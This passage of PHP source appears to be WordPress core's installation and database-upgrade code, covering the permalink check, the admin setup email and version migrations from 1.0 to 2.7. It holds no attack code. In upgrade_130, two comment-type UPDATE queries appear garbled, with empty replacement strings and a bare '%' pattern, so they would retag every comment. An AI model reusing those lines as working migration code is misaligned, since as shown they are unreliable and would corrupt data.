$wp_rewrite->set_permalink_structure( $permalink_structure );
/*
* Flush rules with the hard option to force refresh of the web-server's
* rewrite config file (e.g. .htaccess or web.config).
*/
$wp_rewrite->flush_rules( true );
$test_url = '';
// Test against a real WordPress post.
$first_post = get_page_by_path( sanitize_title( _x( 'hello-world', 'Default post slug' ) ), OBJECT, 'post' );
if ( $first_post ) {
$test_url = get_permalink( $first_post->ID );
}
/*
* Send a request to the site, and check whether
* the 'X-Pingback' header is returned as expected.
*
* Uses wp_remote_get() instead of wp_remote_head() because web servers
* can block head requests.
*/
$response = wp_remote_get( $test_url, array( 'timeout' => 5 ) );
$x_pingback_header = wp_remote_retrieve_header( $response, 'X-Pingback' );
$pretty_permalinks = $x_pingback_header && get_bloginfo( 'pingback_url' ) === $x_pingback_header;
if ( $pretty_permalinks ) {
return true;
}
}
/*
* If it makes it this far, pretty permalinks failed.
* Fallback to query-string permalinks.
*/
$wp_rewrite->set_permalink_structure( '' );
$wp_rewrite->flush_rules( true );
return false;
}
if ( ! function_exists( 'wp_new_blog_notification' ) ) :
/**
* Notifies the site admin that the installation of WordPress is complete.
*
* Sends an email to the new administrator that the installation is complete
* and provides them with a record of their login credentials.
*
* @since 2.1.0
*
* @param string $blog_title Site title.
* @param string $blog_url Site URL.
* @param int $user_id Administrator's user ID.
* @param string $password Administrator's password. Note that a placeholder message is
* usually passed instead of the actual password.
*/
function wp_new_blog_notification( $blog_title, $blog_url, $user_id, $password ) {
$user = new WP_User( $user_id );
$email = $user->user_email;
$name = $user->user_login;
$login_url = wp_login_url();
$message = sprintf(
/* translators: New site notification email. 1: New site URL, 2: User login, 3: User password or password reset link, 4: Login URL. */
__(
'Your new WordPress site has been successfully set up at:
%1$s
You can log in to the administrator account with the following information:
Username: %2$s
Password: %3$s
Log in here: %4$s
We hope you enjoy your new site. Thanks!
--The WordPress Team
https://wordpress.org/
'
),
$blog_url,
$name,
$password,
$login_url
);
$installed_email = array(
'to' => $email,
'subject' => __( 'New WordPress Site' ),
'message' => $message,
'headers' => '',
);
/**
* Filters the contents of the email sent to the site administrator when WordPress is installed.
*
* @since 5.6.0
*
* @param array $installed_email {
* Used to build wp_mail().
*
* @type string $to The email address of the recipient.
* @type string $subject The subject of the email.
* @type string $message The content of the email.
* @type string $headers Headers.
* }
* @param WP_User $user The site administrator user object.
* @param string $blog_title The site title.
* @param string $blog_url The site URL.
* @param string $password The site administrator's password. Note that a placeholder message
* is usually passed instead of the user's actual password.
*/
$installed_email = apply_filters( 'wp_installed_email', $installed_email, $user, $blog_title, $blog_url, $password );
wp_mail(
$installed_email['to'],
$installed_email['subject'],
$installed_email['message'],
$installed_email['headers']
);
}
endif;
if ( ! function_exists( 'wp_upgrade' ) ) :
/**
* Runs WordPress Upgrade functions.
*
* Upgrades the database if needed during a site update.
*
* @since 2.1.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global int $wp_db_version The new database version.
*/
function wp_upgrade() {
global $wp_current_db_version, $wp_db_version;
$wp_current_db_version = (int) __get_option( 'db_version' );
// We are up to date. Nothing to do.
if ( $wp_db_version === $wp_current_db_version ) {
return;
}
if ( ! is_blog_installed() ) {
return;
}
wp_check_mysql_version();
wp_cache_flush();
pre_schema_upgrade();
make_db_current_silent();
upgrade_all();
if ( is_multisite() && is_main_site() ) {
upgrade_network();
}
wp_cache_flush();
if ( is_multisite() ) {
update_site_meta( get_current_blog_id(), 'db_version', $wp_db_version );
update_site_meta( get_current_blog_id(), 'db_last_updated', microtime() );
}
delete_transient( 'wp_core_block_css_files' );
/**
* Fires after a site is fully upgraded.
*
* @since 3.9.0
*
* @param int $wp_db_version The new $wp_db_version.
* @param int $wp_current_db_version The old (current) $wp_db_version.
*/
do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
}
endif;
/**
* Functions to be called in installation and upgrade scripts.
*
* Contains conditional checks to determine which upgrade scripts to run,
* based on database version and WP version being updated-to.
*
* @ignore
* @since 1.0.1
*
* @global int $wp_current_db_version The old (current) database version.
* @global int $wp_db_version The new database version.
*/
function upgrade_all() {
global $wp_current_db_version, $wp_db_version;
$wp_current_db_version = (int) __get_option( 'db_version' );
// We are up to date. Nothing to do.
if ( $wp_db_version === $wp_current_db_version ) {
return;
}
// If the version is not set in the DB, try to guess the version.
if ( empty( $wp_current_db_version ) ) {
$wp_current_db_version = 0;
// If the template option exists, we have 1.5.
$template = __get_option( 'template' );
if ( ! empty( $template ) ) {
$wp_current_db_version = 2541;
}
}
if ( $wp_current_db_version < 6039 ) {
upgrade_230_options_table();
}
populate_options();
if ( $wp_current_db_version < 2541 ) {
upgrade_100();
upgrade_101();
upgrade_110();
upgrade_130();
}
if ( $wp_current_db_version < 3308 ) {
upgrade_160();
}
if ( $wp_current_db_version < 4772 ) {
upgrade_210();
}
if ( $wp_current_db_version < 4351 ) {
upgrade_old_slugs();
}
if ( $wp_current_db_version < 5539 ) {
upgrade_230();
}
if ( $wp_current_db_version < 6124 ) {
upgrade_230_old_tables();
}
if ( $wp_current_db_version < 7499 ) {
upgrade_250();
}
if ( $wp_current_db_version < 7935 ) {
upgrade_252();
}
if ( $wp_current_db_version < 8201 ) {
upgrade_260();
}
if ( $wp_current_db_version < 8989 ) {
upgrade_270();
}
if ( $wp_current_db_version < 10360 ) {
upgrade_280();
}
if ( $wp_current_db_version < 11958 ) {
upgrade_290();
}
if ( $wp_current_db_version < 15260 ) {
upgrade_300();
}
if ( $wp_current_db_version < 19389 ) {
upgrade_330();
}
if ( $wp_current_db_version < 20080 ) {
upgrade_340();
}
if ( $wp_current_db_version < 22422 ) {
upgrade_350();
}
if ( $wp_current_db_version < 25824 ) {
upgrade_370();
}
if ( $wp_current_db_version < 26148 ) {
upgrade_372();
}
if ( $wp_current_db_version < 26691 ) {
upgrade_380();
}
if ( $wp_current_db_version < 29630 ) {
upgrade_400();
}
if ( $wp_current_db_version < 33055 ) {
upgrade_430();
}
if ( $wp_current_db_version < 33056 ) {
upgrade_431();
}
if ( $wp_current_db_version < 35700 ) {
upgrade_440();
}
if ( $wp_current_db_version < 36686 ) {
upgrade_450();
}
if ( $wp_current_db_version < 37965 ) {
upgrade_460();
}
if ( $wp_current_db_version < 44719 ) {
upgrade_510();
}
if ( $wp_current_db_version < 45744 ) {
upgrade_530();
}
if ( $wp_current_db_version < 48575 ) {
upgrade_550();
}
if ( $wp_current_db_version < 49752 ) {
upgrade_560();
}
if ( $wp_current_db_version < 51917 ) {
upgrade_590();
}
if ( $wp_current_db_version < 53011 ) {
upgrade_600();
}
if ( $wp_current_db_version < 55853 ) {
upgrade_630();
}
if ( $wp_current_db_version < 56657 ) {
upgrade_640();
}
if ( $wp_current_db_version < 57155 ) {
upgrade_650();
}
if ( $wp_current_db_version < 58975 ) {
upgrade_670();
}
maybe_disable_link_manager();
maybe_disable_automattic_widgets();
update_option( 'db_version', $wp_db_version );
update_option( 'db_upgraded', true );
}
/**
* Execute changes made in WordPress 1.0.
*
* @ignore
* @since 1.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_100() {
global $wpdb;
// Get the title and ID of every post, post_name to check if it already has a value.
$posts = $wpdb->get_results( "SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''" );
if ( $posts ) {
foreach ( $posts as $post ) {
if ( '' === $post->post_name ) {
$newtitle = sanitize_title( $post->post_title );
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID ) );
}
}
}
$categories = $wpdb->get_results( "SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories" );
foreach ( $categories as $category ) {
if ( '' === $category->category_nicename ) {
$newtitle = sanitize_title( $category->cat_name );
$wpdb->update( $wpdb->categories, array( 'category_nicename' => $newtitle ), array( 'cat_ID' => $category->cat_ID ) );
}
}
$sql = "UPDATE $wpdb->options
SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
WHERE option_name LIKE %s
AND option_value LIKE %s";
$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );
$done_ids = $wpdb->get_results( "SELECT DISTINCT post_id FROM $wpdb->post2cat" );
if ( $done_ids ) :
$done_posts = array();
foreach ( $done_ids as $done_id ) :
$done_posts[] = $done_id->post_id;
endforeach;
$catwhere = ' AND ID NOT IN (' . implode( ',', $done_posts ) . ')';
else :
$catwhere = '';
endif;
$allposts = $wpdb->get_results( "SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere" );
if ( $allposts ) :
foreach ( $allposts as $post ) {
// Check to see if it's already been imported.
$cat = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category ) );
if ( ! $cat && 0 !== (int) $post->post_category ) { // If there's no result.
$wpdb->insert(
$wpdb->post2cat,
array(
'post_id' => $post->ID,
'category_id' => $post->post_category,
)
);
}
}
endif;
}
/**
* Execute changes made in WordPress 1.0.1.
*
* @ignore
* @since 1.0.1
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_101() {
global $wpdb;
// Clean up indices, add a few.
add_clean_index( $wpdb->posts, 'post_name' );
add_clean_index( $wpdb->posts, 'post_status' );
add_clean_index( $wpdb->categories, 'category_nicename' );
add_clean_index( $wpdb->comments, 'comment_approved' );
add_clean_index( $wpdb->comments, 'comment_post_ID' );
add_clean_index( $wpdb->links, 'link_category' );
add_clean_index( $wpdb->links, 'link_visible' );
}
/**
* Execute changes made in WordPress 1.2.
*
* @ignore
* @since 1.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_110() {
global $wpdb;
// Set user_nicename.
$users = $wpdb->get_results( "SELECT ID, user_nickname, user_nicename FROM $wpdb->users" );
foreach ( $users as $user ) {
if ( '' === $user->user_nicename ) {
$newname = sanitize_title( $user->user_nickname );
$wpdb->update( $wpdb->users, array( 'user_nicename' => $newname ), array( 'ID' => $user->ID ) );
}
}
$users = $wpdb->get_results( "SELECT ID, user_pass from $wpdb->users" );
foreach ( $users as $row ) {
if ( ! preg_match( '/^[A-Fa-f0-9]{32}$/', $row->user_pass ) ) {
$wpdb->update( $wpdb->users, array( 'user_pass' => md5( $row->user_pass ) ), array( 'ID' => $row->ID ) );
}
}
// Get the GMT offset, we'll use that later on.
$all_options = get_alloptions_110();
$time_difference = $all_options->time_difference;
$server_time = time() + gmdate( 'Z' );
$weblogger_time = $server_time + $time_difference * HOUR_IN_SECONDS;
$gmt_time = time();
$diff_gmt_server = ( $gmt_time - $server_time ) / HOUR_IN_SECONDS;
$diff_weblogger_server = ( $weblogger_time - $server_time ) / HOUR_IN_SECONDS;
$diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server;
$gmt_offset = -$diff_gmt_weblogger;
// Add a gmt_offset option, with value $gmt_offset.
add_option( 'gmt_offset', $gmt_offset );
/*
* Check if we already set the GMT fields. If we did, then
* MAX(post_date_gmt) can't be '0000-00-00 00:00:00'.
* I just slapped myself silly for not thinking about it earlier.
*/
$got_gmt_fields = ( '0000-00-00 00:00:00' !== $wpdb->get_var( "SELECT MAX(post_date_gmt) FROM $wpdb->posts" ) );
if ( ! $got_gmt_fields ) {
// Add or subtract time to all dates, to get GMT dates.
$add_hours = (int) $diff_gmt_weblogger;
$add_minutes = (int) ( 60 * ( $diff_gmt_weblogger - $add_hours ) );
$wpdb->query( "UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
$wpdb->query( "UPDATE $wpdb->posts SET post_modified = post_date" );
$wpdb->query( "UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'" );
$wpdb->query( "UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
$wpdb->query( "UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
}
}
/**
* Execute changes made in WordPress 1.5.
*
* @ignore
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_130() {
global $wpdb;
// Remove extraneous backslashes.
$posts = $wpdb->get_results( "SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts" );
if ( $posts ) {
foreach ( $posts as $post ) {
$post_content = addslashes( deslash( $post->post_content ) );
$post_title = addslashes( deslash( $post->post_title ) );
$post_excerpt = addslashes( deslash( $post->post_excerpt ) );
if ( empty( $post->guid ) ) {
$guid = get_permalink( $post->ID );
} else {
$guid = $post->guid;
}
$wpdb->update( $wpdb->posts, compact( 'post_title', 'post_content', 'post_excerpt', 'guid' ), array( 'ID' => $post->ID ) );
}
}
// Remove extraneous backslashes.
$comments = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments" );
if ( $comments ) {
foreach ( $comments as $comment ) {
$comment_content = deslash( $comment->comment_content );
$comment_author = deslash( $comment->comment_author );
$wpdb->update( $wpdb->comments, compact( 'comment_content', 'comment_author' ), array( 'comment_ID' => $comment->comment_ID ) );
}
}
// Remove extraneous backslashes.
$links = $wpdb->get_results( "SELECT link_id, link_name, link_description FROM $wpdb->links" );
if ( $links ) {
foreach ( $links as $link ) {
$link_name = deslash( $link->link_name );
$link_description = deslash( $link->link_description );
$wpdb->update( $wpdb->links, compact( 'link_name', 'link_description' ), array( 'link_id' => $link->link_id ) );
}
}
$active_plugins = __get_option( 'active_plugins' );
/*
* If plugins are not stored in an array, they're stored in the old
* newline separated format. Convert to new format.
*/
if ( ! is_array( $active_plugins ) ) {
$active_plugins = explode( "\n", trim( $active_plugins ) );
update_option( 'active_plugins', $active_plugins );
}
// Obsolete tables.
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues' );
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes' );
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups' );
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options' );
// Update comments table to use comment_type.
$wpdb->query( "UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '', '') WHERE comment_content LIKE '%'" );
$wpdb->query( "UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '', '') WHERE comment_content LIKE '%'" );
// Some versions have multiple duplicate option_name rows with the same values.
$options = $wpdb->get_results( "SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name" );
foreach ( $options as $option ) {
if ( $option->dupes > 1 ) { // Could this be done in the query?
$limit = $option->dupes - 1;
$dupe_ids = $wpdb->get_col( $wpdb->prepare( "SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit ) );
if ( $dupe_ids ) {
$dupe_ids = implode( ',', $dupe_ids );
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)" );
}
}
}
make_site_theme();
}
/**
* Execute changes made in WordPress 2.0.
*
* @ignore
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_160() {
global $wpdb, $wp_current_db_version;
populate_roles_160();
$users = $wpdb->get_results( "SELECT * FROM $wpdb->users" );
foreach ( $users as $user ) :
if ( ! empty( $user->user_firstname ) ) {
update_user_meta( $user->ID, 'first_name', wp_slash( $user->user_firstname ) );
}
if ( ! empty( $user->user_lastname ) ) {
update_user_meta( $user->ID, 'last_name', wp_slash( $user->user_lastname ) );
}
if ( ! empty( $user->user_nickname ) ) {
update_user_meta( $user->ID, 'nickname', wp_slash( $user->user_nickname ) );
}
if ( ! empty( $user->user_level ) ) {
update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
}
if ( ! empty( $user->user_icq ) ) {
update_user_meta( $user->ID, 'icq', wp_slash( $user->user_icq ) );
}
if ( ! empty( $user->user_aim ) ) {
update_user_meta( $user->ID, 'aim', wp_slash( $user->user_aim ) );
}
if ( ! empty( $user->user_msn ) ) {
update_user_meta( $user->ID, 'msn', wp_slash( $user->user_msn ) );
}
if ( ! empty( $user->user_yim ) ) {
update_user_meta( $user->ID, 'yim', wp_slash( $user->user_icq ) );
}
if ( ! empty( $user->user_description ) ) {
update_user_meta( $user->ID, 'description', wp_slash( $user->user_description ) );
}
if ( isset( $user->user_idmode ) ) :
$idmode = $user->user_idmode;
if ( 'nickname' === $idmode ) {
$id = $user->user_nickname;
}
if ( 'login' === $idmode ) {
$id = $user->user_login;
}
if ( 'firstname' === $idmode ) {
$id = $user->user_firstname;
}
if ( 'lastname' === $idmode ) {
$id = $user->user_lastname;
}
if ( 'namefl' === $idmode ) {
$id = $user->user_firstname . ' ' . $user->user_lastname;
}
if ( 'namelf' === $idmode ) {
$id = $user->user_lastname . ' ' . $user->user_firstname;
}
if ( ! $idmode ) {
$id = $user->user_nickname;
}
$wpdb->update( $wpdb->users, array( 'display_name' => $id ), array( 'ID' => $user->ID ) );
endif;
// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities' );
if ( empty( $caps ) || defined( 'RESET_CAPS' ) ) {
$level = get_user_meta( $user->ID, $wpdb->prefix . 'user_level', true );
$role = translate_level_to_role( $level );
update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array( $role => true ) );
}
endforeach;
$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
$wpdb->hide_errors();
foreach ( $old_user_fields as $old ) {
$wpdb->query( "ALTER TABLE $wpdb->users DROP $old" );
}
$wpdb->show_errors();
// Populate comment_count field of posts table.
$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
if ( is_array( $comments ) ) {
foreach ( $comments as $comment ) {
$wpdb->update( $wpdb->posts, array( 'comment_count' => $comment->c ), array( 'ID' => $comment->comment_post_ID ) );
}
}
/*
* Some alpha versions used a post status of object instead of attachment
* and put the mime type in post_type instead of post_mime_type.
*/
if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
$objects = $wpdb->get_results( "SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'" );
foreach ( $objects as $object ) {
$wpdb->update(
$wpdb->posts,
array(
'post_status' => 'attachment',
'post_mime_type' => $object->post_type,
'post_type' => '',
),
array( 'ID' => $object->ID )
);
$meta = get_post_meta( $object->ID, 'imagedata', true );
if ( ! empty( $meta['file'] ) ) {
update_attached_file( $object->ID, $meta['file'] );
}
}
}
}
/**
* Execute changes made in WordPress 2.1.
*
* @ignore
* @since 2.1.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_210() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 3506 ) {
// Update status and type.
$posts = $wpdb->get_results( "SELECT ID, post_status FROM $wpdb->posts" );
if ( ! empty( $posts ) ) {
foreach ( $posts as $post ) {
$status = $post->post_status;
$type = 'post';
if ( 'static' === $status ) {
$status = 'publish';
$type = 'page';
} elseif ( 'attachment' === $status ) {
$status = 'inherit';
$type = 'attachment';
}
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID ) );
}
}
}
if ( $wp_current_db_version < 3845 ) {
populate_roles_210();
}
if ( $wp_current_db_version < 3531 ) {
// Give future posts a post_status of future.
$now = gmdate( 'Y-m-d H:i:59' );
$wpdb->query( "UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'" );
$posts = $wpdb->get_results( "SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'" );
if ( ! empty( $posts ) ) {
foreach ( $posts as $post ) {
wp_schedule_single_event( mysql2date( 'U', $post->post_date, false ), 'publish_future_post', array( $post->ID ) );
}
}
}
}
/**
* Execute changes made in WordPress 2.3.
*
* @ignore
* @since 2.3.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_230() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 5200 ) {
populate_roles_230();
}
// Convert categories to terms.
$tt_ids = array();
$have_tags = false;
$categories = $wpdb->get_results( "SELECT * FROM $wpdb->categories ORDER BY cat_ID" );
foreach ( $categories as $category ) {
$term_id = (int) $category->cat_ID;
$name = $category->cat_name;
$description = $category->category_description;
$slug = $category->category_nicename;
$parent = $category->category_parent;
$term_group = 0;
// Associate terms with the same slug in a term group and make slugs unique.
$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
if ( $exists ) {
$term_group = $exists[0]->term_group;
$id = $exists[0]->term_id;
$num = 2;
do {
$alt_slug = $slug . "-$num";
++$num;
$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
} while ( $slug_check );
$slug = $alt_slug;
if ( empty( $term_group ) ) {
$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group" ) + 1;
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id ) );
}
}
$wpdb->query(
$wpdb->prepare(
"INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
(%d, %s, %s, %d)",
$term_id,
$name,
$slug,
$term_group
)
);
$count = 0;
if ( ! empty( $category->category_count ) ) {
$count = (int) $category->category_count;
$taxonomy = 'category';
$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
}
if ( ! empty( $category->link_count ) ) {
$count = (int) $category->link_count;
$taxonomy = 'link_category';
$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
}
if ( ! empty( $category->tag_count ) ) {
$have_tags = true;
$count = (int) $category->tag_count;
$taxonomy = 'post_tag';
$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
}
if ( empty( $count ) ) {
$count = 0;
$taxonomy = 'category';
$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
}
}
$select = 'post_id, category_id';
if ( $have_tags ) {
$select .= ', rel_type';
}
$posts = $wpdb->get_results( "SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id" );
foreach ( $posts as $post ) {
$post_id = (int) $post->post_id;
$term_id = (int) $post->category_id;
$taxonomy = 'category';
if ( ! empty( $post->rel_type ) && 'tag' === $post->rel_type ) {
$taxonomy = 'tag';
}
$tt_id = $tt_ids[ $term_id ][ $taxonomy ];
if ( empty( $tt_id ) ) {
continue;
}
$wpdb->insert(
$wpdb->term_relationships,
array(
'object_id' => $post_id,
'term_taxonomy_id' => $tt_id,
)
);
}
// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
if ( $wp_current_db_version < 3570 ) {
/*
* Create link_category terms for link categories. Create a map of link
* category IDs to link_category terms.
*/
$link_cat_id_map = array();
$default_link_cat = 0;
$tt_ids = array();
$link_cats = $wpdb->get_results( 'SELECT cat_id, cat_name FROM ' . $wpdb->prefix . 'linkcategories' );
foreach ( $link_cats as $category ) {
$cat_id = (int) $category->cat_id;
$term_id = 0;
$name = wp_slash( $category->cat_name );
$slug = sanitize_title( $name );
$term_group = 0;
// Associate terms with the same slug in a term group and make slugs unique.
$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
if ( $exists ) {
$term_group = $exists[0]->term_group;
$term_id = $exists[0]->term_id;
}
if ( empty( $term_id ) ) {
$wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) );
$term_id = (int) $wpdb->insert_id;
}
$link_cat_id_map[ $cat_id ] = $term_id;
$default_link_cat = $term_id;
$wpdb->insert(
$wpdb->term_taxonomy,
array(
'term_id' => $term_id,
'taxonomy' => 'link_category',
'description' => '',
'parent' => 0,
'count' => 0,
)
);
$tt_ids[ $term_id ] = (int) $wpdb->insert_id;
}
// Associate links to categories.
$links = $wpdb->get_results( "SELECT link_id, link_category FROM $wpdb->links" );
if ( ! empty( $links ) ) {
foreach ( $links as $link ) {
if ( 0 === (int) $link->link_category ) {
continue;
}
if ( ! isset( $link_cat_id_map[ $link->link_category ] ) ) {
continue;
}
$term_id = $link_cat_id_map[ $link->link_category ];
$tt_id = $tt_ids[ $term_id ];
if ( empty( $tt_id ) ) {
continue;
}
$wpdb->insert(
$wpdb->term_relationships,
array(
'object_id' => $link->link_id,
'term_taxonomy_id' => $tt_id,
)
);
}
}
// Set default to the last category we grabbed during the upgrade loop.
update_option( 'default_link_category', $default_link_cat );
} else {
$links = $wpdb->get_results( "SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id" );
foreach ( $links as $link ) {
$link_id = (int) $link->link_id;
$term_id = (int) $link->category_id;
$taxonomy = 'link_category';
$tt_id = $tt_ids[ $term_id ][ $taxonomy ];
if ( empty( $tt_id ) ) {
continue;
}
$wpdb->insert(
$wpdb->term_relationships,
array(
'object_id' => $link_id,
'term_taxonomy_id' => $tt_id,
)
);
}
}
if ( $wp_current_db_version < 4772 ) {
// Obsolete linkcategories table.
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories' );
}
// Recalculate all counts.
$terms = $wpdb->get_results( "SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy" );
foreach ( (array) $terms as $term ) {
if ( 'post_tag' === $term->taxonomy || 'category' === $term->taxonomy ) {
$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id ) );
} else {
$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id ) );
}
$wpdb->update( $wpdb->term_taxonomy, array( 'count' => $count ), array( 'term_taxonomy_id' => $term->term_taxonomy_id ) );
}
}
/**
* Remove old options from the database.
*
* @ignore
* @since 2.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_230_options_table() {
global $wpdb;
$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
$wpdb->hide_errors();
foreach ( $old_options_fields as $old ) {
$wpdb->query( "ALTER TABLE $wpdb->options DROP $old" );
}
$wpdb->show_errors();
}
/**
* Remove old categories, link2cat, and post2cat database tables.
*
* @ignore
* @since 2.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_230_old_tables() {
global $wpdb;
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories' );
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat' );
$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat' );
}
/**
* Upgrade old slugs made in version 2.2.
*
* @ignore
* @since 2.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_old_slugs() {
// Upgrade people who were using the Redirect Old Slugs plugin.
global $wpdb;
$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'" );
}
/**
* Execute changes made in WordPress 2.5.0.
*
* @ignore
* @since 2.5.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_250() {
global $wp_current_db_version;
if ( $wp_current_db_version < 6689 ) {
populate_roles_250();
}
}
/**
* Execute changes made in WordPress 2.5.2.
*
* @ignore
* @since 2.5.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_252() {
global $wpdb;
$wpdb->query( "UPDATE $wpdb->users SET user_activation_key = ''" );
}
/**
* Execute changes made in WordPress 2.6.
*
* @ignore
* @since 2.6.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_260() {
global $wp_current_db_version;
if ( $wp_current_db_version < 8000 ) {
populate_roles_260();
}
}
/**
* Execute changes made in WordPress 2.7.
*
* @ignore
* @since 2.7.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_270() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 8980 ) {
populate_roles_270();
}
// Update post_date for unpublished posts with empty timestamp.
